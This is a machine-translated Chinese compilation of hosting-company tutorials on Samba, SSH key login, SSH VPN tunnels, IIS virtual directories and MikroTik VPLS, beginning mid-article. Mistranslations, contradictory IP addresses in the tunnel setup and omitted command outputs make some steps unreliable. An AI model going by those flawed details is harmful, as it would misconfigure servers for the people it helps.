$ smbclient '\\localhost\private' -U sambauser Enter WORKGROUP\sambauser's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Apr 26 02:10:34 2022 .. D 0 Tue Apr 26 02:04:41 2022 demo1.txt N 0 Tue Apr 26 02:10:34 2022 demo-private D 0 Tue Apr 26 02:10:24 2022 39987708 blocks of size 1024\. 32647972 blocks available smb: \> exit
设置 Windows 客户端
您可以使用 Samba 共享系统的 IP 地址从 Windows 访问共享。
首先,你应该通过按 Win+R 打开一个 run 框,然后输入你的 IP。
然后你会看到共享文件夹。在其中一个共享文件夹中创建文件。
应该可以在 Samba 服务器设备上查看创建的文件。
接下来,您需要在您的 Windows 系统上安装 Samba 共享。为此,右击这台电脑并选择映射网络驱动器。
现在您需要填写路径细节。
然后,您应该输入 Samba 用户凭证。
最后,您将可以使用该共享。
设置 Linux 客户端
要设置 Linux 客户机,您应该使用以下命令安装 Samba 包:
sudo apt install samba-client cifs-utils
安装完成后,进入文件管理器,选择其他位置。然后,您可以使用以下语法添加您的共享:
smb://servername/Share_name
现在您应该输入 Samba 用户凭证。
最后,您将有 Samba 共享可用。
如何在 Debian 上卸载 Samba
您可以使用以下命令删除 Samba:
apt-get remove samba
以下命令可以删除整个 samba 包和配置文件:
sudo apt-get purge samba
Purge 与 remove 相同,只是前者会删除软件包。就是这样!
结论
在本文中,我们教你如何在 Debian 上配置和卸载 Samba。安装 Samba 后,您可以通过网络在 Windows 和 Linux 系统之间共享文件。我希望这篇文章对你有用。你可以在评论里提出你的问题。
教程在 Linux 服务器上配置基于 SSH 密钥的身份验证- Eldernode
原文:https://blog.eldernode.com/configure-ssh-authentication-linux/
SSH 或安全外壳是一种加密协议,用于管理服务器并与之通信。当使用一个 Linux 服务器时,很可能你会花大部分时间在一个通过 SSH 连接到你的服务器的终端会话上。
登录到 SSH 服务器有几种不同的方式,但是在本指南中,我们将重点关注设置 SSH 密钥。SSH 密钥提供了一种简单但极其安全的登录服务器的方式。因此,这是我们推荐给所有用户的方法。
教程在 Linux 服务器上配置基于 SSH 密钥的认证
请阅读本文,了解如何在 Linux 服务器上配置基于 SSH 密钥的认证。
SSH 密钥是如何工作的?
首先,我们将了解 SSH 密钥的基本工作原理。
SSH 服务器可以使用各种不同的方法对客户端进行认证。其中最基础的是密码认证,虽然简单易用,但并不是最安全的。
尽管密码是以安全的方式发送到服务器的,但它们通常并不复杂,也不够长,不足以抵御反复的、持续的攻击者。现代处理能力与自动化脚本相结合,使得暴力破解受密码保护的帐户成为可能。虽然还有其他增加附加安全 ( fail2ban 等方法。),SSH 密钥被证明是一种可靠且安全的替代方案。
此外,SSH 密钥对是两个加密的安全密钥,可用于向 SSH 服务器认证客户端。每个密钥对由一个公钥和一个私钥组成。私钥由客户端保留,应该绝对保密。私钥的任何泄露都将允许攻击者登录到使用相关公钥配置的服务器,而无需额外的身份验证。作为额外的预防措施,可以在磁盘上用密码对密钥进行加密。
此外,相关的公钥可以自由共享,不会产生任何负面影响。公钥可用于加密只有私钥才能解密的消息。该属性被用作使用密钥对进行身份验证的一种方式。
公钥被上传到您希望能够使用 SSH 登录的远程服务器。该密钥被添加到您将要登录的用户帐户中的一个名为 ~/的特殊文件中。ssh/authorized_keys 。
当客户机试图使用 SSH 密钥进行身份验证时,服务器可以测试客户机是否拥有私钥。如果客户机能够证明它拥有私钥,就会产生一个 shell 会话或者执行所请求的命令。
如何创建 SSH 密钥
在这一步中,我们将向您展示如何创建 SSH 密钥。为服务器配置 SSH 密钥认证的第一步是在本地计算机上生成 SSH 密钥对。
为此,您可以使用一个名为 ssh-keygen 的特殊实用程序,它包含在标准 OpenSSH 工具套件中。默认情况下,这将创建一个 2048 位的 RSA 密钥对,这对于大多数用途来说是合适的。
使用以下命令在本地计算机上生成 SSH 密钥对。
ssh-keygen
Generating public/private rsa key pair. Enter file in which to save the key (/home/username/.ssh/id_rsa)
之后,该实用程序将提示您为将要生成的密钥选择一个位置。默认情况下,密钥将存储在 ~/中。用户主目录中的 ssh 目录。私钥将被称为 id_rsa ,相关的公钥将被称为 id_rsa.pub 。
通常,在这个阶段最好坚持使用默认位置。这样做将允许您的 SSH 客户端在尝试认证时自动找到您的 SSH 密钥。如果您想选择一个非标准路径,请现在输入,否则,请按 ENTER 键接受默认值。
如果您之前已经生成了一个 SSH 密钥对,您可能会看到如下所示的提示:
/home/username/.ssh/id_rsa already exists. Overwrite (y/n)?
但是如果你选择覆盖磁盘上的密钥,你将而不是不能再使用以前的密钥进行认证。选择“是”时要非常小心,因为这是一个无法逆转的破坏性过程。
Created directory '/home/username/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again:
然后,系统会提示您输入密钥的密码。这是一个可选的密码,可用于加密磁盘上的私钥文件。
您可能想知道如果仍然需要输入密码短语,SSH 密钥有什么优势。一些优点是:
1- 私有 SSH 密钥(受密码保护的部分)永远不会暴露给网络。密码短语仅用于在本地机器上解密密钥。这意味着基于网络的暴力破解密码是不可能的。
2- 私钥保存在受限目录中。SSH 客户端不会识别没有保存在受限目录中的私钥。密钥本身也必须有受限的权限(只有所有者可以读写)。这意味着系统上的其他用户不能窥探。
3- 任何希望破解私有 SSH 密钥密码的攻击者都必须已经能够访问系统。这意味着他们已经可以访问您的用户帐户或 root 帐户。如果您处于这种情况,密码可以防止攻击者立即登录到您的其他服务器。这有望让您有时间创建和实现一个新的 SSH 密钥对,并删除对受损密钥的访问。
由于私钥永远不会暴露给网络,并且通过文件权限进行保护,因此除了您(和 root 用户)之外,任何人都不能访问该文件。在这些条件被破坏的情况下,密码作为额外的保护层。
注意:密码是可选的附加项。如果您输入了一个密钥,则每次使用该密钥时都必须提供它(除非您运行的是存储解密密钥的 SSH 代理软件)。我们推荐使用密码短语,但是如果你不想设置密码短语,你可以简单地按下回车键来绕过这个提示。
Your identification has been saved in /home/username/.ssh/id_rsa. Your public key has been saved in /home/username/.ssh/id_rsa.pub. The key fingerprint is: a9:49:2e:2a:5e:33:3e:a9:de:4e:77:11:58:b6:90:26 [[email protected]](/cdn-cgi/l/email-protection)_host The key's randomart image is: +--[ RSA 2048]----+ | ..o | | E o= . | | o. o | | .. | | ..S | | o o. | | =o.+. | |. =++.. | |o=++. | +-----------------+
从现在开始,您有了一个公钥和私钥,可以用来进行身份验证。下一步是将公钥放在您的服务器上,以便您可以使用 SSH 密钥认证来登录。
如何将公钥复制到您的服务器上
现在需要注意的是,如果您已经有了一个可用的服务器,并且在创建时没有嵌入密钥,您仍然可以上传您的公钥,并使用它来验证您的服务器。
您使用的方法在很大程度上取决于您可用的工具和当前配置的详细信息。以下方法都产生相同的最终结果。最简单、自动化程度最高的方法是第一种,如果无法使用前面的方法,后面的方法都需要额外的手动步骤。
使用 SSH-Copy-ID 复制您的公钥
让我们看看将您的公钥复制到现有服务器的最简单方法,使用一个名为 ssh-copy-id 的实用程序。因为这种方法简单,所以如果可行的话,推荐使用。
ssh-copy-id 工具包含在许多发行版的 OpenSSH 包中,因此您可以在本地系统上使用它。要使用这种方法,您必须已经拥有对服务器的基于密码的 SSH 访问权限。
要使用该实用程序,您只需指定想要连接的远程主机和您拥有 SSH 访问密码的用户帐户。这是您的公共 SSH 密钥将被复制到的帐户。
ssh-copy-id [[email protected]](/cdn-cgi/l/email-protection)_host
然后,您会收到如下消息。
The authenticity of host '111.111.11.111 (111.111.11.111)' can't be established. ECDSA key fingerprint is fd:fd:d4:f9:77:fe:73:84:e1:55:00:ad:d6:6d:22:fe. Are you sure you want to continue connecting (yes/no)? yes
通过显示此信息,您可以确保本地计算机无法识别远程主机。这将在您第一次连接到新主机时发生。键入“yes”并按 ENTER 键继续。
因此,该实用程序将扫描您的本地帐户,查找我们之前创建的 id_rsa.pub 密钥。当它找到密钥时,会提示您输入远程用户帐户的密码:
usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys [[email protected]](/cdn-cgi/l/email-protection)'s password:
现在,输入密码并按回车键。该实用程序将使用您提供的密码连接到远程主机上的帐户。然后它会复制你的 ~/的内容。ssh/id_rsa.pub key 到远程帐户 home ~/中的一个文件中。ssh 目录名为 authorized_keys 。
点:出于安全考虑,您输入的内容不会被显示。
输出
Number of key(s) added: 1 Now try logging into the machine, with: "ssh '[[email protected]](/cdn-cgi/l/email-protection)'" and check to make sure that only the key(s) you wanted were added.
请注意,您的 id_rsa.pub 密钥已经上传到远程帐户。你可以继续下一部分。此时,您的 id_rsa.pub 密钥已经上传到远程帐户。你可以继续下一部分。
使用 SSH 复制您的公钥
如果您没有 ssh-copy-id 可用,但是您可以使用基于密码的 ssh 访问您服务器上的帐户,那么您可以使用传统的 SSH 方法上传您的密钥。
为此,您可以在本地计算机上输出我们的公共 SSH 密钥的内容,并通过 SSH 连接将其传输到远程服务器。另一方面,我们可以确保 ~/。ssh 目录存在于我们正在使用的帐户下,然后将我们通过管道传输的内容输出到这个目录下的一个名为 authorized_keys 的文件中。
您可以使用 > > 重定向符号追加内容,而不是覆盖内容。这将允许我们添加密钥,而不会破坏以前添加的密钥。
你可以在下面看到完整的命令。
cat ~/.ssh/id_rsa.pub | ssh [[email protected]](/cdn-cgi/l/email-protection)_host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"
然后,您会收到如下消息。
The authenticity of host '111.111.11.111 (111.111.11.111)' can't be established. ECDSA key fingerprint is fd:fd:d4:f9:77:fe:73:84:e1:55:00:ad:d6:6d:22:fe. Are you sure you want to continue connecting (yes/no)? yes
通过显示此信息,您可以确保本地计算机无法识别远程主机。这将在您第一次连接到新主机时发生。键入“yes”并按 ENTER 键继续。
之后,系统会提示您输入您尝试连接的帐户的密码:
[[email protected]](/cdn-cgi/l/email-protection)'s password:
一旦您输入了密码,您的 id_rsa.pub 密钥的内容将被复制到远程用户账户的 authorized_keys 文件的末尾。如果成功,请继续下一节。
手动复制您的公钥
如果您无法使用基于密码的 SSH 访问您的服务器,您需要手动执行上述过程。
您的 id_rsa.pub 文件的内容必须添加到位于 ~/的文件中。ssh/authorized_keys 在你的远程机器上。
要显示您的 id_rsa.pub 密钥的内容,请在您的本地计算机中键入以下内容:
cat ~/.ssh/id_rsa.pub
然后,您将看到密钥的内容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqql6MzstZYh1TmWWv11q5O3pISj2ZFl9HgH1JLknLLx44+tXfJ7mIrKNxOOwxIxvcBF8PXSYvobFYEZjGIVCEAjrUzLiIxbyCoxVyle7Q+bqgZ8SeeM8wzytsY+dVGcBxF6N4JS+zVk5eMcV385gG3Y6ON3EG112n6d+SMXY0OEBIcO6x+PnUSGHrSgpBgX7Ks1r7xqFa7heJLLt2wWwkARptX7udSq05paBhcpB0pHtA1Rfz3K2B+ZVIpSDfki9UVKzT8JUmwW6NNzSgxUfQHGwnW7kj4jp4AT0VZk3ADw497M2G/12N0PPB5CnhHf7ovgy6nL1ikrygTKRFmNZISvAcywB9GVqNAVE+ZHDSCuURNsAInVzgYo9xgJDW8wUw2o8U77+xiFxgI5QSZX3Iq7YLMgeksaO4rBJEa54k8m5wEiEE1nUhLuJ0X/vh2xPff6SQ1BL/zkOhvJCACK6Vb15mDOeCSq54Cr7kvS46itMosi/uS66+PujOO+xt/2FWYepz6ZlN70bRly57Q06J+ZJoc9FfBCbCyYH7U/ASsmY095ywPsBo1XQ9PqhnN1/YOorJ068foQDNVpm146mUpILVxmq41Cj55YKHEazXGsdBIbXWhcrRf4G2fJLRcGUr9q8/lERo9oxRm5JFX6TCmj6kmiFqv+Ow9gI0x8GvaQ== [[email protected]](/cdn-cgi/l/email-protection)
接下来,您应该使用任何可用的方法来访问您的远程主机。确保 ~/。当您在远程服务器上访问您的帐户时,ssh 目录被创建。
mkdir -p ~/.ssh
此时,您可以在该目录下创建或修改 authorized_keys 文件。将您的 id_rsa.pub 文件的内容添加到 authorized_keys 文件的末尾,如有必要,使用以下命令创建它:
echo public_key_string >> ~/.ssh/authorized_keys
现在,用来自 cat ~/的输出替换 public_key_string 。您在本地系统上执行的 ssh/id_rsa.pub 命令。应该从宋承宪-RSA AAAA……开始。
继续尝试在没有密码的情况下认证,当它成功工作时。
使用 SSH 密钥认证您的服务器
如果您成功地完成了上述步骤之一,您应该能够在没有远程帐户密码的情况下登录到远程主机。
基本过程是一样的:
ssh [[email protected]](/cdn-cgi/l/email-protection)_host
如果这是您第一次连接到该主机,您可能会看到如下内容。
The authenticity of host '111.111.11.111 (111.111.11.111)' can't be established. ECDSA key fingerprint is fd:fd:d4:f9:77:fe:73:84:e1:55:00:ad:d6:6d:22:fe. Are you sure you want to continue connecting (yes/no)? yes
通过显示此消息,表明您的本地计算机无法识别远程主机。键入“yes ”,然后按 ENTER 键继续。
但是,如果您没有提供私钥的密码,您将会立即登录。如果您在创建密钥时提供了私钥的密码,现在将要求您输入密码。之后,应该会在远程系统上为您生成一个新的 shell 会话。
如果成功,请继续了解如何锁定服务器。
在您的服务器上禁用密码验证
在此步骤中,您将验证如果您能够使用 SSH 登录到您的帐户而无需密码,那么您已经成功地为您的帐户配置了基于 SSH 密钥的身份验证。但是,您的基于密码的身份验证机制仍然有效,这意味着您的服务器仍然面临暴力攻击。
但是在完成本节中的步骤之前,请确保您已经为该服务器上的 root 帐户配置了基于 SSH 密钥的身份验证,或者最好为该服务器上具有 sudo 访问权限的帐户配置了基于 SSH 密钥的身份验证。这一步将锁定基于密码的登录,因此确保您仍然能够获得管理访问权限是至关重要的。
并使用 SSH 密钥登录到您的远程服务器,无论是作为根用户还是使用具有 sudo 权限的帐户。当您看到上述情况的真实性时,请打开 SSH 守护程序的配置文件。
sudo nano /etc/ssh/sshd_config
在文件内部,搜索名为 PasswordAuthentication 的指令。这可能会被注释掉。取消对该行的注释,并将值设置为“no”。这将禁止您使用帐户密码通过 SSH 登录:
PasswordAuthentication no
您现在可以保存并关闭文件。要实际实现我们刚才所做的更改,您必须重新启动服务。
在 Ubuntu 或 Debian 机器上,你可以发出这个命令:
sudo service ssh restart
在 CentOS / Fedora 机器上,守护进程被称为 sshd:
sudo service sshd restart
完成这一步后,您就成功地将 SSH 守护进程转换为只响应 SSH 密钥。
在本文中,您成功地完成了在 Linux 服务器上配置 SSH 基于密钥的认证教程。从现在开始,您应该在您的服务器上配置并运行 SSH 基于密钥的认证,允许您在不提供帐户密码的情况下登录。从这里,有很多方向可以去。如果你有兴趣阅读更多关于这个主题的内容,可以找到我们的相关文章教程在 CentOS 8 上设置 SSH 密钥和如何在 Ubuntu 20.04 上设置 SSH 密钥。
教程在 OpenSUSE 上配置 SSH 无密码登录
原文:https://blog.eldernode.com/configure-ssh-passwordless-login-on-opensuse/
远程计算机控制一直是所有用户关心的问题。根据您使用的操作系统,有不同的方法和协议来实现这一点。过去,用户使用不安全的方法与服务器通信,这导致了许多问题。在这方面,SSH 是一种广泛使用且非常安全的协议。在这篇文章中,我将教你如何在 OpenSUSE 上配置 SSH 无密码登录。查看 Linux VPS 服务器软件包,这些软件包可以在 Eldernode 网站上找到,如果你想要的话可以购买。
如何在 OpenSUSE 上配置 SSH 无密码登录
什么是 SSH,它有什么特点?
SSH 代表安全外壳或安全套接字外壳,是一种网络通信协议,允许您安全地连接到计算机或远程服务器。网络管理员可以远程管理服务器和应用程序,将文件从一台计算机传输到另一台计算机,并使用 SSH 执行命令。它提供强密码验证和公钥验证,以及通过开放网络(如互联网)连接的两台计算机之间的加密数据通信。该协议也用于为其他应用程序协议创建安全隧道。
SSH 的一些特性是:
1-安全文件传输
2-安全远程命令执行
3-安全远程登录
4 端口转发
5-访问控制
6 键和代理
如何生成 SSH 公/私钥对
首先,我们通过输入以下命令创建密钥对:
ssh-keygen -t
您可以使用带有 -t 标志的上述命令来指定密钥类型。如果您使用上面的命令而不带任何参数,将会生成一个 2048 位的 RSA 密钥。默认情况下,私钥存储在 ~/中。ssh/id_rsa 目录,公钥存储在 ~/中。ssh/id_rsa.pub 目录。
您还可以使用自定义名称生成密钥对。如果您想使用密钥对进行交互式登录,只需在创建密钥对时设置一个密码。
生成密钥对后,需要确认已经在 ~/中生成。ssh 目录。为此,请运行以下命令:
ls -la .ssh/my_key*
现在是时候通过运行以下命令将 SSH 密钥上传到远程 OpenSUSE 服务器了:
ssh-copy-id -i .ssh/my_key.pub [[email protected]](/cdn-cgi/l/email-protection)_IPaddress
我们在上面的命令中使用 -i 标志来指定公钥路径。记得在请求后输入您的 SSH 密码。
您可能会遇到“收到从您的 _ IP 地址端口 22:2 断开:太多身份验证失败,从您的 _ IP 地址端口 22 断开”错误,在这种情况下,请输入以下命令:
ssh-copy-id -i .ssh/my_key.pub -o IdentitiesOnly=yes [[email protected]](/cdn-cgi/l/email-protection)_IPaddress
在 OpenSUSE 上配置 SSH 无密码登录
在执行任何操作之前,请验证远程无密码登录到 OpenSUSE 服务器。
您应该使用私钥登录,并输入您的密码:
ssh -i .ssh/my_key [[email protected]](/cdn-cgi/l/email-protection)_IPaddress
现在,我们将禁用 SSH 密码认证。
在这样做之前,您应该设置无密码身份验证。否则可能会导致您被锁定在 OpenSUSE 服务器之外。
在此步骤中,将 PasswordAuthentication 和ChallangeResponseAuthentication配置指令设置为 no,将 UsePAM 设置为 yes:
保存您所做的设置,然后根据以下命令重启 sshd 守护进程:
sudo systemctl restart sshd
就是这样!执行上述步骤后,OpenSUSE 服务器上任何试图使用密码登录的用户都会遇到“权限被拒绝”错误。
结论
无密码认证是众所周知的 OpenSSH 安全实践之一。在本文中,我们教您如何在 OpenSUSE 上配置 SSH 无密码登录。我希望这篇文章对你有用。如有疑问,可在评论中联系我们。
如何在 Ubuntu 20.04 上配置 SSH VPN 隧道
原文:https://blog.eldernode.com/configure-ssh-vpn-tunnel-on-ubuntu-20-04/
SSH 是一种安全的通信协议,它通过安全的通信隧道传输数据。SSH 隧道是另一种技术,攻击者可以通过这种技术绕过防火墙限制。本文将教你如何在 Ubuntu 20.04 上配置 SSH VPN 隧道。如果你打算购买自己的 Ubuntu VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
如何在 Ubuntu VPS 上设置 SSH VPN 隧道
SSH 隧道或 SSH 端口转发是一种通过加密的 SSH 连接传输网络数据的方法。事实上,它是 OpenSSH 的工具之一,允许 TCP 或 UDP 端口通过 SSH 连接进行转发。OpenSSH 可以在 SSH 连接的基础上创建一个虚拟以太网适配器,允许完整的第 3 层 IP 连接。这允许您添加通过此虚拟连接的路由,并通过它运行路由协议。
在 Ubuntu 20.04 上安装 SSH VPN 隧道
首先,您将设置一个 IP SSH 隧道,从位于私有物理 IP 192.168.0.2 的左侧 Ubuntu20.04Server-1 到位于公共物理 IP 192.168.0.2 的右侧 Ubuntu20.04Server-3。SSH 隧道将使用 10.0.0.0/30 网络。该隧道穿过 Cisco 路由器上设置的 NAT (PAT ),该路由器将 Ubuntu20.04Server-1 连接到互联网。穿越 IP SSH 隧道的 NAT 没有问题。在最后一步中,您将添加静态路由,以允许 Ubuntu20.04Server-4 通过 SSH 隧道 ping Ubuntu20.04Server-3。
Ubuntu20.04Server-3
第一步,在以下命令的帮助下安装 OpenSSH 服务器:
sudo apt-get install openssh-server
您应该以 root 用户身份从客户端登录,以创建 TUN 适配器。用所需的文本编辑器打开以下文件:
sudo nano /etc/ssh/sshd_config
现在取消注释,将“ PermitRootLogin 禁止密码改为“ PermitRootLogin 无密码”,将“ PermitTunnel no ”改为“ PermitTunnel yes ”。
完成后,保存文件。
使用下面的命令重启您的 OpenSSH 服务器:
sudo systemctl restart sshd
Ubuntu20.04Server-1
在此步骤中,通过运行以下命令,安装 autossh 工具来监视 ssh 会话,并在会话终止时重新启动它们:
sudo apt-get install autossh
最后,设置密钥认证,以 root 用户身份登录到服务器。为此,请输入以下命令:
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub | ssh [[email protected]](/cdn-cgi/l/email-protection) "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"
连接隧道上 Ubuntu 20.04
首先,从 Ubuntu20.04Server-1 输入以下命令:
autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -NTC -o Tunnel=point-to-point -w 0:0 12.0.0.2 &
–-m0:不用,是指监听 TCP 端口
–-o " ServerAliveInterval 30 ":每 30 秒发送一次 keepalive
–-o " ServerAliveCountMax 3":最多重试 3 次 keepalive。Autossh 到此结束,接下来开始本地 ssh 命令。
–-N:指示 SSH 不要执行远程命令
–-T:禁用伪 tty 分配
–-C:压缩可能会提高性能,也可能会降低性能
–-o Tunnel =点对点:创建一个虚拟接口
–-w0:0:它给本地和远程调谐器适配器一个编号,在本例中为 0。“:”的左边是本地,右边是远程。
–12.0.0.2:隧道终点
最后一个&符号在后台执行命令,允许您取回 shell。
如果一切正常,服务器和客户机上都将有一个" tun0 "设备。
“ip route”命令可用于测试重启后的网络计划:
在 Ubuntu 20.04Server-1 上(客户端)
ip addr add 10.0.0.1/30 dev tun0
ip link set tun0 up
然后使用以下命令为 192.168.0.0/24 添加一条静态路由,通过新创建的隧道访问该网络:
在 Ubuntu 20.04Server-3(服务器)上
ip addr add 10.0.0.2/30 dev tun0
ip link set tun0 up
ip route add 192.168.0.0/24 via 10.0.0.1
另外,为 10.0.0/30 网络添加一条指向 192.168.0.2 的路由,以查看隧道是否能路由所有 IP 流量,而不仅仅是客户端和服务器之间的流量:
在 Ubuntu 20.04Server-4 上(旁观者在 192.168.0.3)
ip route add 10.0.0.0/30 via 192.168.0.2
注意: 客户端要启用 IP 转发。
现在从 Ubuntu 20.04 server-4 ping 到 Ubuntu 20.04Server-3,如下所示:
ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=63 time=3.87 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=63 time=3.73 ms
最后,从服务器 Ubuntu 20.04Server-3 一直 ping 到 Ubuntu 20.04Server-4,直接通过 Cisco 路由器上的 NAT,如下所示:
ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) 56(84) bytes of data.
64 bytes from 192.168.0.3: icmp_seq=1 ttl=63 time=3.30 ms
64 bytes from 192.168.0.3: icmp_seq=2 ttl=63 time=3.69 ms
就是这样!
结论
SSH 隧道一种端口转发技术,允许 TCP 或 UDP 端口通过 SSH 连接进行转发。在本文中,您了解了如何在 Ubuntu 20.04 上配置 SSH VPN 隧道。我希望这篇教程对你有用,并且能帮助你在你的 Ubuntu 服务器上配置 SSH VPN 隧道。如果你面临任何问题或有任何疑问,请在评论区联系我们。
教程在 Windows IIS Server 2019 上配置虚拟目录- Eldernode
原文:https://blog.eldernode.com/configure-virtual-directory-on-windows-server/
教程在 Windows IIS Server 2019 上配置虚拟目录。如你所知,一个网站的所有文件和内容都位于特定的文件夹和路径中。有时,您需要您的网站包含文件夹中的特定内容以及相对于网站的另一个位置。例如,在你的公司里,你有一个不同表格的文件夹,几个不同的网站必须能够访问并提供给他们的用户。该文件夹位于一个物理路径中,所有网站都可以从该路径访问文件。
事实上,虚拟目录指的是位于本地或在另一台远程计算机上的 web 服务器上共享的物理内容,这些内容并不存在于网站本身。虚拟目录可以在网站或特定的网络应用中创建。这些像网络应用一样,有别名,它位于网站 URL 的末尾,指向物理路径。在本教程中,你将学习如何在 IIS Server 2019 上安装虚拟目录。
您可以从 eldernode 选择您最理想的 Windows VPS Server 软件包。
如何向 IIS Server 2019 添加虚拟目录
1) 打开服务器管理器:
第一步,你需要打开服务器管理器。然后从工具选项卡中选择 IIS 管理器 选项。
2。在打开的窗口中,从左栏选择默认网址。
在右栏中,点击查看虚拟目录。然后,您应该能够添加一个新的虚拟目录。
3。 点击添加虚拟目录如下所示。
4。 将显示一个名为添加虚拟目录的小窗口。在别名部分输入您想要的别名。
选择一个物理路径上传文件。
点击 OK 查看您添加的虚拟目录。
5。 将你的文件复制到你在步骤 4 中指定的物理路径。我们将使用一个基本的 HTML 文件。
注意: 记住 IIS 必须有权限从这个物理路径/目录读取。
6。 打开浏览器,指向你之前指定的别名。如果不是从本地加载,请输入 IIS 服务器的 IP 地址。
在 ISS 网络服务器上虚拟目录的安装已经成功完成。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何在 Mikrotik 上配置 VPLS
当您的组织或企业有多个分支机构时,您将需要使用第二层互联网平台。VPLS 实际上是具有多点功能的第二层 VPN,可用于此目的。这篇文章将教你如何在 Mikrotik 上配置 VPLS。如果您打算购买一台 Mikrotik VPS 服务器,您可以查看我们网站上提供的套装。
教程在 Mikrotik VPS 上安装 VPLS
什么是 VPLS?
VPLS 代表虚拟专用局域网服务,是一种通过 IP 或 MPLS 网络提供基于以太网的多点对多点通信的方式。这项技术使您能够通过 MPLS 主干网将地理上分散的以太局域网(LAN)站点相互连接起来。事实上,对于实施 VPLS 的客户来说,所有站点都将位于同一个以太网 LAN 上。它为创建一个广泛、互联且安全的网络提供了最佳解决方案。
如何在 Mikrotik 上设置 VPLS
在之前的帖子中,我们已经教过如何在 Mikrotik 中设置 MPLS。在本节中,您将学习如何在 Mikrotik 上配置 VPLS。
您可以将 VPLS 接口视为类似 EoIP 接口的隧道接口。建立以下隧道以实现客户站点之间的透明以太网网段转发:
–> R1-R5(客户 A)
–> R1-R4(客户 A)
–> R4-R5(客户 A)
–> R1-R5(客户 B)
每个隧道设置都涉及在两个隧道端点上创建 VPLS 接口。
LDP 协议协商 VPLS 隧道–两个端点交换隧道标签以用于隧道。要在隧道中转发数据,您需要在数据包上贴上两个标签,即隧道标签和传输标签。事实上,此标签确保流量传递到隧道的另一个端点。
VPLS 隧道配置在/接口 VPLS 菜单中。vpls-id 参数对于该隧道和远程对等体之间的每个隧道必须是唯一的,并且标识 vpls 隧道。
所需设置
/interface vpls add name=A1toA2 remote-peer=9.9.9.5 mac-address=00:00:00:00:00:a1 vpls-id=10 disabled=no
/interface vpls add name=A1toA3 remote-peer=9.9.9.4 mac-address=00:00:00:00:00:a1 vpls-id=10 disabled=no
/interfacevpls add name=B1toB2 remote-peer=9.9.9.5 mac-address=00:00:00:00:00:b1 vpls-id=11 disabled=no
/interface vpls add name=A3toA1 remote-peer=9.9.9.1 mac-address=00:00:00:00:00:a3 vpls-id=10 disabled=no
/interface vpls add name=A3toA2 remote-peer=9.9.9.5 mac-address=00:00:00:00:00:a3 vpls-id=10 disabled=no
/interface vpls add name=A2toA1 remote-peer=9.9.9.1 mac-address=00:00:00:00:00:a2 vpls-id=10 disabled=no
/interface vpls add name=A2toA3 remote-peer=9.9.9.4 mac-address=00:00:00:00:00:a2 vpls-id=10 disabled=no
/interface vpls add name=B2toB1 remote-peer=9.9.9.1 mac-address=00:00:00:00:00:b2 vpls-id=11 disabled=no
VPLS 隧道配置创建动态 LDP 邻居,并建立“目标”LDP 会话。目标 LDP 会话是在不是直接邻居的两个路由器之间建立的会话。在此设置之后,R1 LDP 邻居如下所示:
IP 路由标签也在 VPLS 对等体之间交换,但是都不能使用。路由器维护所有交换的标签,以便在需要时可以立即使用。
要查看有关 VPLS 接口的信息,您应该监控其状态:
如您所见,R1 为 R1 和 R4 之间的隧道指定了标签 27。MPLS 转发表指示该标签在该隧道上被检测和接收,而不是转发到下一跳:
远程端点(R4)被分配标签 24。
igp-prefix 表示用于到达隧道远程端点的路由。也就是说,当流量被转发到隧道的远程端点时,该路由器会施加传输标签,即由路由 9.9 的下一跳向 9.9.9.4/32 分发的标签。9.4/32 路线。所以,你可以在 R2 证实这一点:
应用于数据包的隧道标签由该隧道的远程路由器(R4)决定。
强加的标签反映了这种配置:由隧道生成的数据包上有 2 个标签:21 和 24。
VPLS 隧道里啤酒花爆开的倒数第二个效果
传输标签的倒数第二跳弹出导致数据包到达只有一个隧道标签的 VPLS 隧道的端点。这导致 VPLS 隧道端点仅寻找标签来找出如何处理分组。因此,您可以使用 traceroute 工具观察隧道端点之间的传输标签行为。例如,从 R1 到 R4 的跟踪路由如下:
在 traceroute 输出中,您可以看到隧道端点正在接收一个未标记的探测。事实上,在 VPLS 隧道流量中也会发生同样的情况,传输标签(18)在 R3 上弹出,数据包只与隧道标签交换。
将隧道标记的数据包传送到隧道端点的要求解释了使用“环回”IP 地址作为隧道端点的配置建议。由于 R3 将 3.3.3.0/24 网络作为其连接网络,如果在这种情况下,R4 使用其 3.3.3.4 地址建立了 LDP 会话,则倒数第二跳将出现在 R2 上。这会导致 R3(而不是 R4)收到只有隧道标签的数据包,从而产生无法预测的结果。包括在 R3 无法识别数据包时丢弃帧或以错误的方式发送。
另一个可能发生的问题是直接连接 VPLS 隧道的端点。它们之间不能使用任何传输标签,因为它们都指示对方成为其隧道端点地址的倒数第二跳弹出路由器。例如在 R5 中:
这样,VPLS 隧道在发送数据包时将只使用隧道标签:
如何用 VPLS 桥接以太网网段
VPLS 隧道在路由器之间提供虚拟以太网链路。它们应该通过 VPLS 隧道桥接,以透明地连接两个物理以太网网段。事实上,它的工作方式类似于 EoIP 接口。
运行以下命令,透明地桥接连接到 R1 和 R5 的客户 B 网络:
/interface bridge add name=B
/interface bridge port add bridge=B interface=ether1
/interface bridge port add bridge=B interface=B1toB2
在 R5 上:
/interface bridge add name=B
/interface bridge port add bridge=B interface=ether3
/interface bridge port add bridge=B interface=B2toB1
因为除了 R1 和 R5 之间的单个 VPLS 隧道之外,B1 段和 B2 段之间没有链路,所以您不需要在网桥上运行(R)STP 协议。
